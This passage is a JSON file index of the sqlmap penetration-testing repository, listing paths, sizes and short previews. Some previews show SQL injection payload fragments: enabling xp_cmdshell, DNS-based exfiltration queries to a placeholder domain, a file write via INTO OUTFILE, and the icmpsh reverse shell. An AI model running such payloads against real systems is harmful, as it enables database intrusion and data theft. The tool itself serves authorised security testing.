"preview": "# Code of Conduct\n\n## Our Goal\n\nThe sqlmap project provides a professional, technical environment for contributors. We p"
},
{
"path": ".github/CONTRIBUTING.md",
"chars": 3505,
"preview": "# Contributing to sqlmap\n\n## Reporting bugs\n\n**Bug reports are welcome**!\nPlease report all bugs on the [issue tracker]("
},
{
"path": ".github/FUNDING.yml",
"chars": 22,
"preview": "github: sqlmapproject\n"
},
{
"path": ".github/ISSUE_TEMPLATE/bug_report.md",
"chars": 866,
"preview": "---\nname: Bug report\nabout: Create a report to help us improve\ntitle: ''\nlabels: bug report\nassignees: ''\n\n---\n\n**Descri"
},
{
"path": ".github/ISSUE_TEMPLATE/feature_request.md",
"chars": 608,
"preview": "---\nname: Feature request\nabout: Suggest an idea for this project\ntitle: ''\nlabels: feature request\nassignees: ''\n\n---\n\n"
},
{
"path": ".github/workflows/tests.yml",
"chars": 861,
"preview": "on:\n push:\n branches: [ master ]\n pull_request:\n branches: [ master ]\n\njobs:\n build:\n runs-on: ${{ matrix.os"
},
{
"path": ".gitignore",
"chars": 86,
"preview": "output/\n__pycache__/\n*.py[cod]\n.sqlmap_history\ntraffic.txt\n*~\nreq*.txt\n.idea/\n.aider*\n"
},
{
"path": "LICENSE",
"chars": 18886,
"preview": "COPYING -- Describes the terms under which sqlmap is distributed. A copy\nof the GNU General Public License (GPL) is appe"
},
{
"path": "README.md",
"chars": 5565,
"preview": "# sqlmap \n\n[;\nset @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int"
},
{
"path": "data/procs/mssqlserver/disable_xp_cmdshell_2000.sql",
"chars": 47,
"preview": "EXEC master..sp_dropextendedproc 'xp_cmdshell'\n"
},
{
"path": "data/procs/mssqlserver/dns_request.sql",
"chars": 197,
"preview": "DECLARE @host varchar(1024);\nSELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%';\nEXEC('master..xp_dirtree \"\\\\'+@hos"
},
{
"path": "data/procs/mssqlserver/enable_xp_cmdshell_2000.sql",
"chars": 70,
"preview": "EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll'\n"
},
{
"path": "data/procs/mssqlserver/run_statement_as_user.sql",
"chars": 333,
"preview": "SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','SET FMTONLY OFF %STATEMENT%')\n# SELECT * FROM OPENROWSET('"
},
{
"path": "data/procs/mysql/dns_request.sql",
"chars": 85,
"preview": "SELECT LOAD_FILE(CONCAT('\\\\\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\\\%RANDSTR1%'))\n"
},
{
"path": "data/procs/mysql/write_file_limit.sql",
"chars": 73,
"preview": "LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- -\n"
},
{
"path": "data/procs/oracle/dns_request.sql",
"chars": 397,
"preview": "SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL\n# or SELECT UTL_HTTP.REQUEST("
},
{
"path": "data/procs/oracle/read_file_export_extension.sql",
"chars": 2010,
"preview": "SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDI"
},
{
"path": "data/procs/postgresql/dns_request.sql",
"chars": 536,
"preview": "DROP TABLE IF EXISTS %RANDSTR1%;\n# https://wiki.postgresql.org/wiki/CREATE_OR_REPLACE_LANGUAGE <- if \"CREATE LANGUAGE pl"
},
{
"path": "data/shell/README.txt",
"chars": 686,
"preview": "Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent thi"
},
{
"path": "data/txt/common-columns.txt",
"chars": 26808,
"preview": "# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\n# See the file 'LICENSE' for copying permission\n\nid\nnam"
},
{
"path": "data/txt/common-files.txt",
"chars": 48328,
"preview": "# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\n# See the file 'LICENSE' for copying permission\n\n# CTFs"
},
{
"path": "data/txt/common-outputs.txt",
"chars": 19959,
"preview": "# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\n# See the file 'LICENSE' for copying permission\n\n[Banne"
},
{
"path": "data/txt/common-tables.txt",
"chars": 39766,
"preview": "# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\n# See the file 'LICENSE' for copying permission\n\nusers\n"
},
{
"path": "data/txt/keywords.txt",
"chars": 14645,
"preview": "# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\n# See the file 'LICENSE' for copying permission\n\n# SQL-"
},
{
"path": "data/txt/sha256sums.txt",
"chars": 62528,
"preview": "e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql\n6a2de9"
},
{
"path": "data/txt/smalldict.txt",
"chars": 80106,
"preview": "\n!\n*\n*****\n******\n********\n**********\n*************\n------\n:\n?????\n??????\n!@#$%\n!@#$%^\n!@#$%^&\n!@#$%^&*\n$HEX\n0\n0000\n0000"
},
{
"path": "data/txt/user-agents.txt",
"chars": 21207,
"preview": "# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\n# See the file 'LICENSE' for copying permission\n\nMozill"
},
{
"path": "data/udf/README.txt",
"chars": 282,
"preview": "Binary files in this folder are data files used by sqlmap on the target\nsystem, but not executed on the system running s"
},
{
"path": "data/xml/banner/generic.xml",
"chars": 4760,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<root>\n <!-- Windows -->\n\n <regexp value=\"(Microsoft|Windows|Win32|Win64|W"
},
{
"path": "data/xml/banner/mssql.xml",
"chars": 101453,
"preview": "<?xml version=\"1.0\" ?>\n<root>\n <signatures release=\"2008 R2\">\n <signature>\n <version>\n "
},
{
"path": "data/xml/banner/mysql.xml",
"chars": 2956,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\n References:\n * https://en.wikipedia.org/wiki/Debian_version_histor"
},
{
"path": "data/xml/banner/oracle.xml",
"chars": 158,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<root>\n <regexp value=\"^Oracle\\s+.*Release\\s+([\\d\\.]+)\\s+\">\n <info dbm"
},
{
"path": "data/xml/banner/postgresql.xml",
"chars": 327,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<root>\n <regexp value=\"PostgreSQL\\s+([\\w\\.]+)\">\n <info dbms_version=\"1"
},
{
"path": "data/xml/banner/server.xml",
"chars": 31443,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\n References:\n * https://en.wikipedia.org/wiki/Internet_Information_"
},
{
"path": "data/xml/banner/servlet-engine.xml",
"chars": 805,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!-- Reference: http://www.http-stats.com/Servlet-Engine -->\n\n<root>\n <regexp"
},
{
"path": "data/xml/banner/set-cookie.xml",
"chars": 2069,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\n References:\n * http://www.http-stats.com/Set-Cookie2\n * http:/"
},
{
"path": "data/xml/banner/sharepoint.xml",
"chars": 242,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!-- Reference: http://www.http-stats.com/Set-Cookie2 -->\n\n<root>\n <regexp va"
},
{
"path": "data/xml/banner/x-aspnet-version.xml",
"chars": 233,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!-- Reference: http://www.http-stats.com/X-AspNet-Version -->\n\n<root>\n <rege"
},
{
"path": "data/xml/banner/x-powered-by.xml",
"chars": 1730,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!-- Reference: https://publicwww.com/popular/powered/index.html -->\n\n<root>\n "
},
{
"path": "data/xml/boundaries.xml",
"chars": 15305,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nTag: <boundary>\n How to prepend and append to the test ' <payload><comme"
},
{
"path": "data/xml/errors.xml",
"chars": 9989,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<root>\n <dbms value=\"MySQL\">\n <error regexp=\"SQL syntax.*?MySQL\"/>\n "
},
{
"path": "data/xml/payloads/boolean_blind.xml",
"chars": 60117,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nTag: <test>\n SQL injection test definition.\n\n Sub-tag: <title>\n "
},
{
"path": "data/xml/payloads/error_based.xml",
"chars": 70479,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<root>\n <!-- Error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -"
},
{
"path": "data/xml/payloads/inline_query.xml",
"chars": 5482,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<root>\n <!-- Inline queries tests -->\n <test>\n <title>Generic inlin"
},
{
"path": "data/xml/payloads/stacked_queries.xml",
"chars": 24754,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<root>\n <!-- Stacked queries tests -->\n <test>\n <title>MySQL >= "
},
{
"path": "data/xml/payloads/time_blind.xml",
"chars": 79693,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<root>\n <!-- Time-based boolean tests -->\n\n <!-- Prefering \"query SLEEP\" o"
},
{
"path": "data/xml/payloads/union_query.xml",
"chars": 19304,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<root>\n <!-- UNION query tests -->\n <test>\n <title>Generic UNION qu"
},
{
"path": "data/xml/queries.xml",
"chars": 149908,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<root>\n <dbms value=\"MySQL\">\n <!-- http://dba.fyicenter.com/faq/mysql/"
},
{
"path": "doc/AUTHORS",
"chars": 183,
"preview": "Bernardo Damele Assumpcao Guimaraes (@inquisb)\n<bernardo@sqlmap.org>\n\nMiroslav Stampar (@stamparm)\n<miroslav@sqlmap.org>"
},
{
"path": "doc/CHANGELOG.md",
"chars": 34662,
"preview": "# Version 1.10 (2026-01-01)\n\n* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.9...1.10)\n* [View issues"
},
{
"path": "doc/THANKS.md",
"chars": 25138,
"preview": "# Individuals\n\nAndres Tarasco Acuna, <atarasco(at)gmail.com>\n* for suggesting a feature\n\nSantiago Accurso, <saccurso(at)"
},
{
"path": "doc/THIRD-PARTY.md",
"chars": 14639,
"preview": "This file lists bundled packages and their associated licensing terms.\n\n# BSD\n\n* The `Ansistrm` library located under `t"
},
{
"path": "doc/translations/README-ar-AR.md",
"chars": 2948,
"preview": "# sqlmap \n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[\n\n[ 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "extra/beep/__init__.py",
"chars": 146,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "extra/beep/beep.py",
"chars": 2964,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nbeep.py - Make a beep sound\n\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nS"
},
{
"path": "extra/cloak/README.txt",
"chars": 732,
"preview": "To use cloak.py you need to pass it the original file,\nand optionally the output file name.\n\nExample:\n\n$ python ./cloak."
},
{
"path": "extra/cloak/__init__.py",
"chars": 146,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "extra/cloak/cloak.py",
"chars": 2285,
"preview": "#!/usr/bin/env python\n\n\"\"\"\ncloak.py - Simple file encryption/compression utility\n\nCopyright (c) 2006-2026 sqlmap develop"
},
{
"path": "extra/dbgtool/README.txt",
"chars": 549,
"preview": "To use dbgtool.py you need to pass it the MS-DOS executable binary file,\nand optionally the output debug.exe script file"
},
{
"path": "extra/dbgtool/__init__.py",
"chars": 146,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "extra/dbgtool/dbgtool.py",
"chars": 2474,
"preview": "#!/usr/bin/env python\n\n\"\"\"\ndbgtool.py - Portable executable to ASCII debug script converter\n\nCopyright (c) 2006-2026 sql"
},
{
"path": "extra/icmpsh/README.txt",
"chars": 1596,
"preview": "icmpsh - simple reverse ICMP shell\n\nicmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible mast"
},
{
"path": "extra/icmpsh/__init__.py",
"chars": 872,
"preview": "#!/usr/bin/env python\n#\n# icmpsh - simple icmp command shell (port of icmpsh-m.pl written in\n# Perl by Nico Leidecker "
},
{
"path": "extra/icmpsh/icmpsh-m.c",
"chars": 3831,
"preview": "/*\n * icmpsh - simple icmp command shell\n * Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>\n * This progr"
},
{
"path": "extra/icmpsh/icmpsh-m.pl",
"chars": 2136,
"preview": "#!/usr/bin/env perl\n#\n# icmpsh - simple icmp command shell\n# Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>\n"
},
{
"path": "extra/icmpsh/icmpsh-s.c",
"chars": 8998,
"preview": "/*\n * icmpsh - simple icmp command shell\n * Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>\n * This progr"
},
{
"path": "extra/icmpsh/icmpsh_m.py",
"chars": 4809,
"preview": "#!/usr/bin/env python\n#\n# icmpsh - simple icmp command shell (port of icmpsh-m.pl written in\n# Perl by Nico Leidecker "
},
{
"path": "extra/runcmd/README.txt",
"chars": 193,
"preview": "runcmd.exe is an auxiliary program that can be used for running command prompt\ncommands skipping standard \"cmd /c\" way. "
},
{
"path": "extra/runcmd/src/README.txt",
"chars": 271,
"preview": "Compile only the Release version because the Runtime library option\n(Project Properties -> Configuration Properties -> C"
},
{
"path": "extra/runcmd/src/runcmd/runcmd.cpp",
"chars": 1302,
"preview": "/* \n\truncmd - a program for running command prompt commands\n\tCopyright (C) 2010 Miroslav Stampar\n\temail: miroslav.stampa"
},
{
"path": "extra/runcmd/src/runcmd/runcmd.vcproj",
"chars": 4283,
"preview": "<?xml version=\"1.0\" encoding=\"windows-1250\"?>\n<VisualStudioProject\n\tProjectType=\"Visual C++\"\n\tVersion=\"8,00\"\n\tName=\"runc"
},
{
"path": "extra/runcmd/src/runcmd/stdafx.cpp",
"chars": 285,
"preview": "// stdafx.cpp : source file that includes just the standard includes\n// runcmd.pch will be the pre-compiled header\n// st"
},
{
"path": "extra/runcmd/src/runcmd/stdafx.h",
"chars": 499,
"preview": "// stdafx.h : include file for standard system include files,\n// or project specific include files that are used frequen"
},
{
"path": "extra/runcmd/src/runcmd.sln",
"chars": 860,
"preview": "\nMicrosoft Visual Studio Solution File, Format Version 9.00\n# Visual Studio 2005\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C"
},
{
"path": "extra/shellcodeexec/README.txt",
"chars": 282,
"preview": "Binary files in this folder are data files used by sqlmap on the target\nsystem, but not executed on the system running s"
},
{
"path": "extra/shutils/autocompletion.sh",
"chars": 311,
"preview": "#/usr/bin/env bash\n\n# source ./extra/shutils/autocompletion.sh\n\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null"
},
{
"path": "extra/shutils/blanks.sh",
"chars": 254,
"preview": "#!/bin/bash\n\n# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\n# See the file 'LICENSE' for copying permi"
},
{
"path": "extra/shutils/drei.sh",
"chars": 335,
"preview": "#!/bin/bash\n\n# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\n# See the file 'LICENSE' for copying permi"
},
{
"path": "extra/shutils/duplicates.py",
"chars": 796,
"preview": "#!/usr/bin/env python\n\n# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\n# See the file 'LICENSE' for cop"
},
{
"path": "extra/shutils/junk.sh",
"chars": 244,
"preview": "#!/bin/bash\n\n# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\n# See the file 'LICENSE' for copying permi"
},
{
"path": "extra/shutils/newlines.py",
"chars": 903,
"preview": "#! /usr/bin/env python\n\nfrom __future__ import print_function\n\nimport os\nimport sys\n\ndef check(filepath):\n if filepat"
},
{
"path": "extra/shutils/postcommit-hook.sh",
"chars": 875,
"preview": "#!/bin/bash\n\n: '\ncat > .git/hooks/post-commit << EOF\n#!/bin/bash\n\nsource ./extra/shutils/postcommit-hook.sh\nEOF\n\nchmod +"
},
{
"path": "extra/shutils/precommit-hook.sh",
"chars": 1369,
"preview": "#!/bin/bash\n\n: '\ncat > .git/hooks/pre-commit << EOF\n#!/bin/bash\n\nsource ./extra/shutils/precommit-hook.sh\nEOF\n\nchmod +x "
},
{
"path": "extra/shutils/pycodestyle.sh",
"chars": 331,
"preview": "#!/bin/bash\n\n# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\n# See the file 'LICENSE' for copying permi"
},
{
"path": "extra/shutils/pydiatra.sh",
"chars": 312,
"preview": "#!/bin/bash\n\n# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\n# See the file 'LICENSE' for copying permi"
},
{
"path": "extra/shutils/pyflakes.sh",
"chars": 319,
"preview": "#!/bin/bash\n\n# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\n# See the file 'LICENSE' for copying permi"
},
{
"path": "extra/shutils/pypi.sh",
"chars": 6087,
"preview": "#!/bin/bash\nset -euo pipefail\nIFS=$'\\n\\t'\n\nif [ ! -f ~/.pypirc ]; then\n echo \"File ~/.pypirc is missing\"\n exit 1\nf"
},
{
"path": "extra/shutils/recloak.sh",
"chars": 630,
"preview": "#!/bin/bash\n\n# NOTE: this script is for dev usage after AV something something\n\nDIR=$(cd -P -- \"$(dirname -- \"${BASH_SOU"
},
{
"path": "extra/shutils/strip.sh",
"chars": 869,
"preview": "#!/bin/bash\n\n# References: http://www.thegeekstuff.com/2012/09/strip-command-examples/\n# http://www.mupp"
},
{
"path": "extra/vulnserver/__init__.py",
"chars": 146,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "extra/vulnserver/vulnserver.py",
"chars": 15153,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nvulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)\n\nCopyright ("
},
{
"path": "lib/__init__.py",
"chars": 146,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/controller/__init__.py",
"chars": 146,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/controller/action.py",
"chars": 7232,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/controller/checks.py",
"chars": 76270,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/controller/controller.py",
"chars": 36806,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/controller/handler.py",
"chars": 8180,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/__init__.py",
"chars": 146,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/agent.py",
"chars": 60278,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/bigarray.py",
"chars": 10610,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/common.py",
"chars": 196951,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/compat.py",
"chars": 12338,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/convert.py",
"chars": 13295,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/data.py",
"chars": 727,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/datatype.py",
"chars": 6525,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/decorators.py",
"chars": 3089,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/defaults.py",
"chars": 558,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/dicts.py",
"chars": 18249,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/dump.py",
"chars": 29874,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/enums.py",
"chars": 14200,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/exception.py",
"chars": 1645,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/log.py",
"chars": 5488,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/option.py",
"chars": 108327,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/optiondict.py",
"chars": 7669,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/patch.py",
"chars": 8388,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/profiling.py",
"chars": 884,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/readlineng.py",
"chars": 1799,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/replication.py",
"chars": 5103,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/revision.py",
"chars": 1800,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/session.py",
"chars": 1979,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/settings.py",
"chars": 47504,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/shell.py",
"chars": 4955,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/subprocessng.py",
"chars": 5691,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/target.py",
"chars": 34436,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/testing.py",
"chars": 15746,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/threads.py",
"chars": 8518,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/unescaper.py",
"chars": 987,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/update.py",
"chars": 7465,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/core/wordlist.py",
"chars": 3371,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/parse/__init__.py",
"chars": 146,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/parse/banner.py",
"chars": 3579,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/parse/cmdline.py",
"chars": 51426,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/parse/configfile.py",
"chars": 3594,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/parse/handler.py",
"chars": 2702,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/parse/headers.py",
"chars": 1410,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/parse/html.py",
"chars": 3021,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/parse/payloads.py",
"chars": 3639,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/parse/sitemap.py",
"chars": 2236,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/request/__init__.py",
"chars": 146,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/request/basic.py",
"chars": 19170,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/request/basicauthhandler.py",
"chars": 1383,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
